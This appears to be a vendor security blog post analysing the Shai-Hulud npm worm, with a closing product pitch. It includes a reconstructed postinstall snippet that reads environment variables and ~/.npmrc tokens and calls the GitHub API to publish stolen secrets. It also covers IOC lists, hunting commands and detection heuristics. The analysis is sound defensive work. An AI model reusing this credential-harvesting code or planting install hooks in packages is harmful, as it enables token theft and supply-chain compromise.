Supply Chain

Shai-Hulud: The Self-Replicating npm Worm That Hit 500+ Packages

On September 15, 2025, a self-replicating npm worm dubbed Shai-Hulud backdoored more than 500 packages, including @ctrl/tinycolor and CrowdStrike libraries, by pivoting through stolen publish tokens.

Shadab Khan
Security Engineer
6 min read

On September 15, 2025, an engineer at a Socket customer noticed an unexpected bundle.js file in a freshly published version of @ctrl/tinycolor, a color manipulation library that pulls about 2.2 million weekly downloads. Within 24 hours the same artifact appeared in more than 40 unrelated packages from multiple maintainers, including several open-source repositories owned by CrowdStrike. By the time CISA published its joint alert on September 23, the count had crossed 500 packages and the campaign had earned a name: Shai-Hulud, after the giant worms of Frank Herbert's Dune. This was not just another token-leak compromise. It was the first credible self-replicating worm to spread through the npm registry under its own power.

How did Shai-Hulud actually replicate?

The malicious payload installed a function the researchers called NpmModule.updatePackage. Once executed on a developer or CI machine, it dumped process.env and ~/.npmrc, harvested any valid npm auth tokens, then queried the registry for every other package the compromised account could publish to. For each victim package, the worm downloaded the latest tarball, unpacked it, edited package.json to add a postinstall hook pointing at bundle.js, repacked the archive, and republished a patch-version bump. Sysdig and Unit 42 both timed the loop at roughly 90 seconds per package on a healthy connection, which is why the blast radius expanded from one library to hundreds inside a single business day.

// Reconstructed postinstall behavior (redacted)
const env = JSON.stringify(process.env);
const npmrc = fs.readFileSync(path.join(os.homedir(), ".npmrc"), "utf8");
const token = (npmrc.match(/_authToken=([^\s]+)/) || [])[1];

// Push secrets to a public GitHub repo named "Shai-Hulud"
await fetch("https://api.github.com/user/repos", {
  method: "POST",
  headers: { Authorization: `token ${githubToken}` },
  body: JSON.stringify({ name: "Shai-Hulud", auto_init: true })
});

What secrets did the worm exfiltrate?

Shai-Hulud bundled the legitimate trufflehog and gitleaks binaries and ran them against the local filesystem. Datadog Security Labs documented six exfiltration targets: GitHub PATs, npm publish tokens, AWS access keys, GCP service account JSON, Cloudflare API tokens, and any raw private key (-----BEGIN) detected on disk. Captured material was double-base64 encoded and pushed to a brand-new public repository on the victim's GitHub account named Shai-Hulud, with a single file called data.json. Public exposure was a feature, not a bug — the operator could simply scrape the GitHub search API for repo:Shai-Hulud rather than maintaining attacker-controlled infrastructure.

Which packages were hit and how do I know if I am affected?

Wiz and Unit 42 published rolling IOC lists; high-profile entries included @ctrl/tinycolor 4.1.1 and 4.1.2, @ctrl/deluge, @ctrl/golang-template, @crowdstrike/commitlint, @crowdstrike/falcon-shoelace, and ngx-bootstrap 18.1.4. The simplest detection is a lockfile audit: any install of one of the flagged versions between September 14 and September 18, 2025 should be treated as a credential exposure event. CISA's KEV-adjacent advisory recommends pinning every npm dependency to known-good releases produced before September 14, 2025, and rotating any token that touched a CI runner in that window.

# Hunt for Shai-Hulud postinstall artifacts in node_modules
find node_modules -name "bundle.js" -size +50k -exec sha256sum {} \;

# Or detect at install time with a CycloneDX SBOM filter
cyclonedx-bom -o sbom.json && \
  jq '.components[] | select(.name=="@ctrl/tinycolor" and .version|startswith("4.1.")) | .name' sbom.json

How did the operator gain initial access?

Reverse engineering points to a single phishing email impersonating npm support, sent to a maintainer who controlled multiple @ctrl/* packages. The lure referenced a fake CVE filing requiring a "publish key reset" and routed credentials through npmjs.help — the same domain used in the parallel chalk/debug compromise a week earlier. Once that token was captured, the worm chained outward: every account the worm touched was assumed compromised by the operator within minutes because the harvested GitHub tokens granted write access to mirror repositories. Trellix's reconstruction shows the initial token was used to publish the seed tinycolor version at 14:03 UTC on September 14, with the first downstream victim seeing the worm 11 minutes later.

Why didn't existing scanners catch it earlier?

Most package scanners run signature-based YARA against tarballs at publish time, but Shai-Hulud's payload was minified, polymorphic across builds, and arrived inside packages with otherwise unchanged public APIs. Behavioral sandboxes would have caught it — the postinstall hook makes outbound calls to api.github.com — but few organizations sandbox npm installs in CI. Microsoft's December 9 retrospective on Shai-Hulud 2.0 (which used the same toolchain to hit Mistral, Guardrails AI, and ngx-bootstrap again) noted that 78% of impacted enterprises had a software composition analysis tool that scanned only published advisories, not raw publish events.

What did npm change in response?

GitHub's September 23 blog post announced deprecation of TOTP-only 2FA, removal of legacy classic publish tokens, mandatory phishing-resistant FIDO2 for high-impact packages, and a fast track for trusted publishing (OIDC from GitHub Actions, GitLab, and Buildkite) so that long-lived NPM_TOKEN secrets disappear from CI. Maintainers of more than 500 weekly-download packages now receive a registry-side warning when a new version is published outside a configured trusted-publisher flow. The registry also rolled out a malware abuse-detection signal that quarantines new uploads carrying the Shai-Hulud heuristics: a bundle.js over 50 KB, postinstall hooks that exec network binaries, and outbound calls to GitHub user APIs from install scripts.

How Safeguard Helps

Safeguard's npm provider plugin watches publish events for all dependencies in your products and flags any version that ships a new install script, a new binary blob, or an unsigned tarball — the three signals Shai-Hulud needed to spread. Griffin AI analyzes lockfile diffs to flag transitive jumps to versions outside a configured trust window (for example, published after September 14, 2025), and the malicious-package feed integrates Socket, Snyk, and OSV indicators so flagged tarballs are blocked at the proxy. Policy gates enforce that no production deployment can consume a package without a Sigstore provenance attestation tied to a known builder, killing the unsigned-token publishing path the worm relied on. Postinstall script audits surface every node_modules/**/bundle.js over a configurable size threshold, and TPRM workflows continuously score upstream OSS maintainers against 2FA status, FIDO2 enrollment, and trusted-publisher adoption — giving incident responders a clean list of which dependencies are still one phishing email away from the next Shai-Hulud wave.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.